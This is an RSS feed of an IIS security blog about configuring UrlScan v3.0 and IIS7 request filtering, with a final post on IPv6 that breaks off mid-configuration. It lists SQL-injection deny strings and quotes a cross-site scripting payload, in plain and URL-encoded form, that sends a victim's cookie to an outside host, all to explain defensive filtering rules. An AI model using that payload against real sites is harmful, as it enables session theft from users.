<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.iis.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Nazim&amp;#39;s IIS Security Blog</title><link>http://blogs.iis.net/nazim/default.aspx</link><description>All things security ...</description><dc:language>en</dc:language><generator>CommunityServer 2007 SP1 (Debug Build: 20510.895)</generator><item><title>UrlScan v3.0 RTW Released</title><link>http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx</link><pubDate>Tue, 19 Aug 2008 20:58:26 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2567736</guid><dc:creator>naziml</dc:creator><slash:comments>4</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2567736</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx#comments</comments><description>&lt;p&gt;About 2 months ago we released the &lt;a href="http://blogs.iis.net/wadeh/archive/2008/06/24/urlscan-v3-0-beta-release.aspx"&gt;beta for UrlScan v3.0&lt;/a&gt; to address customer concerns with &lt;a href="http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx"&gt;automated SQL injection attacks&lt;/a&gt; and we have been busy since refining it with the help of our customers, community and MVPs. You can download the bits at the links below.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.iis.net/go/1697"&gt;UrlScan v3.0 RTW for x86&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.iis.net/go/1698"&gt;UrlScan v3.0 RTW for x64&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;You can also check out the updated walkthroughs for UrlScan v3.0 that covers the new features since Beta.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://learn.iis.net/page.aspx/473/using-urlscan"&gt;Using UrlScan&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://learn.iis.net/page.aspx/475/urlscan-setup/"&gt;UrlScan Setup&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios/"&gt;Common UrlScan Scenarios&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://learn.iis.net/page.aspx/477/urlscan-faq/"&gt;UrlScan FAQs&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Here is a summary of the feature additions to UrlScan v3.0 RTW&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;u&gt;1) W3C formatted logging.&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;UrlScan v3.0 RTW has W3C formatted logs so that analyzing log files is more accessible by writing queries against them using Log Parser. The following are the fields in the new log format with a brief description.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Date:&lt;/strong&gt; Date of incoming request     &lt;br /&gt;&lt;strong&gt;Time:&lt;/strong&gt; UTC time for incoming request     &lt;br /&gt;&lt;strong&gt;c-ip:&lt;/strong&gt; Client IP address     &lt;br /&gt;&lt;strong&gt;s-siteid:&lt;/strong&gt; SiteID for the site that processed the request     &lt;br /&gt;&lt;strong&gt;cs-method:&lt;/strong&gt; Method (verb) of incoming request     &lt;br /&gt;&lt;strong&gt;cs-uri&lt;/strong&gt;: URI of incoming request, including query string     &lt;br /&gt;&lt;strong&gt;x-action:&lt;/strong&gt; Action performed by UrlScan. Either rejected or logged     &lt;br /&gt;&lt;strong&gt;x-reason:&lt;/strong&gt; Reason for UrlScan check being triggered.     &lt;br /&gt;&lt;strong&gt;x-context:&lt;/strong&gt; Portion of request this check is applicable to, e.g. URL, query string etc     &lt;br /&gt;&lt;strong&gt;cs-data:&lt;/strong&gt; Data in the request that triggered the UrlScan check&amp;#160; &lt;br /&gt;&lt;strong&gt;x-control:&lt;/strong&gt; UrlScan configuration data that caused the UrlScan check to trigger&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;u&gt;2) Allow rules for URLs and query strings&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;UrlScan v3.0 RTW gives you the ability to specify a &amp;quot;safe&amp;quot; list of URLs and query strings that will by pass all UrlScan checks. This gives administrators the ability to configure UrlScan to allow certain URLs that would otherwise trigger a UrlScan check.&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Here is the &lt;a href="http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx"&gt;link to my blog&lt;/a&gt; when UrlScan v3.0 Beta was release&lt;/p&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2567736" width="1" height="1"&gt;</description></item><item><title>Using the new rules configuration in UrlScan v3.0 Beta (Part 2)</title><link>http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx</link><pubDate>Mon, 30 Jun 2008 20:41:46 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2457686</guid><dc:creator>naziml</dc:creator><slash:comments>15</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2457686</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx#comments</comments><description>&lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;&lt;font color="#008080"&gt;Dissecting the SQL injection sample in the walkthrough&lt;/font&gt;&lt;/h3&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;I will spend some time dissecting the SQL injection rule posted in the walkthrough for UrlScan. Before I do so, I want to re-iterate the fact that &lt;font color="#ff0000"&gt;&lt;strong&gt;SQL injection is a web application issue, and hence the right place to fix it is in the web application&lt;/strong&gt;&lt;/font&gt;. Sometimes when you are the victim of a SQL storm, it is less than ideal to go figure out all the places your web application might be susceptible. That's where UrlScan comes in and offers a stop gap solution till you can fix the apps, without taking any downtime hit on your site. The one issue here is that of false positives ... and these are hard to predict because different web applications have different requirements and semantics. Nonetheless, UrlScan can offer substantial protection in the face of a SQL Storm at the cost of a some false positives that will cause valid requests to be rejected.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#800080"&gt;&lt;strong&gt;[SQL Injection]          &lt;br /&gt;&lt;/strong&gt;AppliesTo=.asp,.aspx         &lt;br /&gt;DenyDataSection=SQL Injection Strings         &lt;br /&gt;ScanUrl=0         &lt;br /&gt;ScanAllRaw=0         &lt;br /&gt;ScanQueryString=1         &lt;br /&gt;ScanHeaders=         &lt;br /&gt;&lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font color="#800080"&gt;&lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font color="#800080"&gt;&lt;strong&gt;[SQL Injection Strings]          &lt;br /&gt;&lt;/strong&gt;--         &lt;br /&gt;%3b ; a semicolon         &lt;br /&gt;/*         &lt;br /&gt;@ ; also catches @@         &lt;br /&gt;char ; also catches nchar and varchar         &lt;br /&gt;alter         &lt;br /&gt;begin         &lt;br /&gt;cast         &lt;br /&gt;create         &lt;br /&gt;cursor         &lt;br /&gt;declare         &lt;br /&gt;delete         &lt;br /&gt;drop         &lt;br /&gt;end         &lt;br /&gt;exec ; also catches execute         &lt;br /&gt;fetch         &lt;br /&gt;insert         &lt;br /&gt;kill         &lt;br /&gt;open         &lt;br /&gt;select         &lt;br /&gt;sys ; also catches sysobjects and syscolumns         &lt;br /&gt;table         &lt;br /&gt;update         &lt;br /&gt;&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;So this is the first bit. Notice that the only thing we are scanning here is the query string, not the URL or any headers. This will give us a little more leeway with our strings list. But even so, there are a lot of chances for false positives. For example if were to have &amp;quot;podcast&amp;quot; in my query string, I would trip the filter because of &amp;quot;cast&amp;quot;. So the best thing to do is copy this over and do quick testing to make sure your apps still work. The other thing to do is keep an eye on the log files to see what it is catching.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;The obvious gap in the rule above is the fact that the only thing I am checking is the query string. What about the rest of the request? The parts of interest for SQL injection really depend on your web application ... but there are definitely some headers that seem important, like the Cookie header (popular candidate for script injection as well).&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;font color="#800080"&gt;&lt;strong&gt;[SQL Injection Headers]&lt;/strong&gt;        &lt;br /&gt;AppliesTo=.asp,.aspx        &lt;br /&gt;DenyDataSection=SQL Injection Headers Strings        &lt;br /&gt;ScanUrl=0        &lt;br /&gt;ScanAllRaw=0        &lt;br /&gt;ScanQueryString=0        &lt;br /&gt;ScanHeaders=Cookie:        &lt;br /&gt;&lt;/font&gt;&lt;/p&gt;    &lt;p&gt;&lt;font color="#800080"&gt;&lt;strong&gt;[SQL Injection Headers Strings]&lt;/strong&gt;        &lt;br /&gt;--        &lt;br /&gt;@ ; also catches @@        &lt;br /&gt;alter        &lt;br /&gt;cast        &lt;br /&gt;convert        &lt;br /&gt;create        &lt;br /&gt;declare        &lt;br /&gt;delete        &lt;br /&gt;drop        &lt;br /&gt;exec ; also catches execute        &lt;br /&gt;fetch        &lt;br /&gt;insert        &lt;br /&gt;kill        &lt;br /&gt;select&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;For folks who have been following this, you will notice that an older version was looking at ScanAllRaw. Even with a trimmed down list, there were a lot of things breaking. Like /* with the Accept-Encoding header and 'cast' in User-Agent strings that had things like 'broadcast'. So I followed my own advice and reduced the scope a little more.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Another part of the request that folks missed was the request entity, but the explanation for that deviated from this topic sufficiently to warrant its own blog &lt;a href="http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx"&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2457686" width="1" height="1"&gt;</description></item><item><title>UrlScan v3.0 filtering based on Request Entity</title><link>http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx</link><pubDate>Mon, 30 Jun 2008 20:21:35 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2457646</guid><dc:creator>naziml</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2457646</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx#comments</comments><description>&lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;While some folks are rejoicing, others are noticing the lack of scanning for the request entity. Why would we do that? The easy answer is that this is just not possible with an ISAPI filter. In IIS 5 and earlier, there is no API that would allow us to filter request entity, so request entity will never happen there.&amp;#160; In IIS 6, the APIs exist to do this via * script maps, but the performance would be pretty bad.&amp;#160; Also, there is no mechanism to treat the request as a stream, so there would be potential memory utilization problems. So we left it at that and said &amp;quot;can't do it, sorry&amp;quot;.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;But then you ask, &amp;quot;what about the request filtering module in IIS7&amp;quot;? Theoretically the IIS7 module APIs certainly let you analyze the request entity, so it is certainly possible. One of our current tasks is to bring the request filtering module up to par (feature-wise) with UrlScan v3.0 and then we can consider answering this complex problem. Yes, don't let this fool you ... analyzing request entity is a complex problem that has consequences for both performance and security. There is a multitude of things you need to account for here: compression/encryption, custom serialization, signature split between multiple POSTs, memory pressure due to entity buffering for POST data, etc. By no means are we claiming that this is an impossible task ... just that the cost to benefit ratio for this is low at this point. But we will try to look into this, time permitting. &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Please feel free to send your thoughts/comments ... happy filtering !!&lt;/p&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2457646" width="1" height="1"&gt;</description></item><item><title>Using the new rules configuration in UrlScan v3.0 Beta (Part 1)</title><link>http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx</link><pubDate>Tue, 24 Jun 2008 19:51:04 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2444228</guid><dc:creator>naziml</dc:creator><slash:comments>10</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2444228</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx#comments</comments><description>&lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;If you haven't noticed already, UrlScan v3.0 Beta is out and it is the answer to all your prayers. Well maybe not all, but it still is nifty. UrlScan 2.5 is widely used and is quite popular. There were a few minor issues with it that were all fixed for UrlScan 3.0. But besides those UrlScan now has the ability to filter based on query strings as well and a new rules syntax lets you specify powerful rules and lets you stay organized while you are at it. &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;I thought I would take some time to write some sample rules for common scenarios that people would like to filter, but instead decided to dissect our defaults and the little sample for SQL injection that we put up on the &lt;a href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios"&gt;walkthrough&lt;/a&gt; for the Beta.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;&lt;font color="#008080"&gt;Cross site scripting&lt;/font&gt;&lt;/h3&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;There has been a lot of discussion about XSS and it falls into the same bucket as SQL injection in the fact that this is not a server/product vulnerability. It is an application issue just like SQL injection. CGISecurity has a nice little FAQ on XSS &lt;a href="http://www.cgisecurity.com/articles/xss-faq.shtml"&gt;here&lt;/a&gt; and iDefense has a decent whitepaper &lt;a href="http://www.cgisecurity.com/lib/XSS.pdf"&gt;here&lt;/a&gt;. There are quite a few advanced papers on XSS evasion and static XSS detection in applications, but like all things in life, simple is usually good. &lt;/p&gt;  &lt;p&gt;Most XSS attacks will pass in script where the application does not expect it. Here are some samples of what a XSS attack might look like from the CGISecurity FAQ linked above.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800080"&gt;http://host/a.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie&amp;lt;/script&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Notice the similarity to SQL injection? The variable query string parameter is pre-emptively terminated and a bunch of script goo is added. Folks can get a little more devious and encode the query string like below so it's not easily identified.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800080"&gt;http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;The pattern that should jump out at you is the &amp;lt;script&amp;gt; tag, but how do I accurately detect it in the cases where I might have it encoded or have to deal with arbitrary whitespaces like &amp;lt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; script&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;gt; ? The new default urlscan.ini contains a rule in it to protect against these sort of patterns and the rule is just simply:&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800080"&gt;[DenyQueryStringSequences]&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800080"&gt;&amp;lt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800080"&gt;&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Simply put it just disallows angle brackets in the query string and if you think about the myriad web applications out there today, not many have legitimate use of either the '&amp;lt;' or the '&amp;gt;' character on the query string. Along with the above section, the default configuration also has the following set:&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800080"&gt;[Options]&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800080"&gt;UnescapeQueryString=1&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;What this does is that it will check sequences in both the raw and the un-escaped version of the query string. So now even the second example above for XSS would be caught by the default rule.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Read the &lt;a href="http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx"&gt;next post&lt;/a&gt; in the series and watch me dissect the sample SQL injection rule in the &lt;a href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios"&gt;walkthrough&lt;/a&gt; posted.&lt;/p&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2444228" width="1" height="1"&gt;</description></item><item><title>Interaction between URL Rewriter and Request Filtering Modules for IIS7</title><link>http://blogs.iis.net/nazim/archive/2008/06/06/interaction-between-url-rewriter-and-request-filtering-modules-for-iis7.aspx</link><pubDate>Fri, 06 Jun 2008 00:39:48 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2405236</guid><dc:creator>naziml</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2405236</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/06/interaction-between-url-rewriter-and-request-filtering-modules-for-iis7.aspx#comments</comments><description>&lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;I hope folks have noticed the TP for the URL Rewriter module. Download it and give it a try!&lt;/p&gt;  &lt;p&gt;&lt;a title="Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x86)" href="http://www.iis.net/Downloads/1691/ItemPermaLink.ashx"&gt;Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x86)&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a title="Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x86)" href="http://www.iis.net/Downloads/1692/ItemPermaLink.ashx"&gt;Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x64)&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;I have been playing around with in my spare time to get a feel for it, and if you are not familiar with rewrite, stop by the walkthrough &lt;a href="http://learn.iis.net/page.aspx/460/using-url-rewrite-module/"&gt;here&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;While playing around with it an interesting question occurred to me ... how do the Rewriter module and the Request Filtering module interact with a request? I ask this question because if I block an HTTP request with a particular pattern in Request Filtering, and I attempt to rewrite the very same pattern to something else in the Rewriter module, who trumps who?&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;&lt;font color="#008080"&gt;Expectation of a secure server&lt;/font&gt;&lt;/h3&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;First let's figure out what we should expect to happen. Request filtering exercises a contract to look at requests coming to the server from the client, unadulterated. So if I have a rule that says disallow .aspx requests and a client types in the URL &lt;a href="http://localhost/foo.aspx"&gt;http://localhost/foo.aspx&lt;/a&gt; in his/her browser, the request should be blocked, period. &lt;/p&gt;  &lt;p&gt;URL Rewriter module is a server-side request modification entity. So one should put it in the same bucket as an ASP.NET application that redirects or changes request parameters. So if I have a rewrite rule that changes the file extension of every request that ends in .foo to .aspx, it should not be considered a violation of the request filtering rule. The reason being that the client typed in &lt;a href="http://localhost/xxxxxx.foo"&gt;http://localhost/xxxxxx.foo&lt;/a&gt; in his/her browser and since that does not have the .aspx extension, the request should be allowed to execute.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;&lt;font color="#008080"&gt;Behavior on IIS7&lt;/font&gt;&lt;/h3&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;In a nutshell, IIS 7.0 is well behaved. In the request processing pipeline, the request filtering module gets a higher priority than the rewriter module. The rewriter module also has a sufficiently high priority in the request processing queue (otherwise it wouldn't be a very useful module), but it still kicks in after request filtering module on the BeginRequest path. The important takeaway here is that this is the desired order of processing, and so if you are manually tweaking module order and priority in configuration, swapping the order of these two could be considered as breaking the security contract that request filtering tries to establish, &lt;font color="#ff0000"&gt;&lt;strong&gt;don't do it!&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;font color="#800080"&gt;Bottom line, the defaults are good ... we have thought about things before putting them in order, even though it may look like a random ordering to the untrained eye :)&lt;/font&gt;&lt;/p&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2405236" width="1" height="1"&gt;</description></item><item><title>Using IPv6 with IIS7</title><link>http://blogs.iis.net/nazim/archive/2008/05/03/using-ipv6-with-iis7.aspx</link><pubDate>Fri, 02 May 2008 23:11:02 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2335119</guid><dc:creator>naziml</dc:creator><slash:comments>2</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2335119</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/05/03/using-ipv6-with-iis7.aspx#comments</comments><description>&lt;p&gt;Besides the US government and certain Asian countries, IPv6 has not really caught on yet, especially here in the US. So how does IIS7 stack up as far as IPv6 support is concerned? Let's walk through the IIS7 feature set to evaluate this. For comparison against IIS 6 you can check out the TechNet article &lt;a href="http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/1ecff3af-36c2-41b5-957a-8bcc6fac8abc.mspx?mfr=true"&gt;here&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;&lt;font color="#008080"&gt;IPv6 Bindings in IIS7&lt;/font&gt;&lt;/h3&gt;  &lt;p&gt;The default binding is a '*' binding and does not have an IP address, so IPv6 does not come into the picture. However if you were to create a binding for your site from 'inetmgr' (IIS 7 configuration tool), the drop down list for IP Address would pre-populate with your server's IP addresses, including IPv6 address. Here's a screen shot of what this looks like.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen7_4.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="449" alt="Screen7" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen7_thumb_1.jpg" width="689" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;When you are selecting an IPv6 address from the list, make sure you don't accidentally bind to the 'Temporary IPv6 Address'. Temporary addresses are IPv6 interface identifiers that provide a level of anonymity for outbound traffic. If your machine is domain joined, it is possible for the DC to assign a temporary address (with the same global prefix) to your machine and this address may change frequently, say every day. In that case your binding will be broken every time such a change occurs.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Sounds good so far, but can I manually enter an IP address? And if I do, will it check the validity of the address? Yes and yes. Here's what I get when I enter an invalid IP address.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen8_4.jpg"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="402" alt="Screen8" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen8_thumb_1.jpg" width="489" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;&lt;font color="#008080"&gt;Site Limits&lt;/font&gt;&lt;/h3&gt;  &lt;p&gt;Back in IIS 6 site/server limits like &lt;strong&gt;MaxBandwidth&lt;/strong&gt; and &lt;strong&gt;MaxGlobalBandwidth&lt;/strong&gt; metabase properties did not apply to responses sent over IPv6 addresses. IIS 7 has equivalents to these limits as well that reside under &lt;strong&gt;system.applicationHost/sites/Limits&lt;/strong&gt;. These settings apply to responses sent over both IPv4 and IPv6 for IIS 7.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;&lt;font color="#008080"&gt;IP Address and Domain Restrictions&lt;/font&gt;&lt;/h3&gt;  &lt;p&gt;If you have brought up the configuration manager for IIS 7 (inetmgr) you probably noticed that the restriction list is preceded by &amp;quot;IPv4&amp;quot;.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen9_4.jpg"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="270" alt="Screen9" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen9_thumb_1.jpg" width="290" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;And drilling down further to add a deny rule list shows IPv4 specific entries only.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen10_4.jpg"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="319" alt="Screen10" src="http://blogs.iis.net/blogs/nazim/WindowsLiveWriter/UsingIPv6withIIS7_EB12/Screen10_thumb_1.jpg" width="428" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;So does this mean that there is no support for IPv6 in the IP restrictions list? Well, that is not entirely true. The way the restriction list currently works is that it applies a specified mask to an incoming requests address to figure out if an address is on the restriction list. In the case of IPv4, this is as simple as the subnet mask, and this module was engineered keeping this paradigm in mind. There is no way the UI permits even entering a non IPv4 address. But in the configuration system in applicationHost.config, here are what entries look like for both a specific address and an address range.&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;ipSecurity&lt;/span&gt; &lt;span class="attr"&gt;allowUnlisted&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;true&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;add&lt;/span&gt; &lt;span class="attr"&gt;ipAddress&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;10.199.199.199&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;allowed&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;false&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
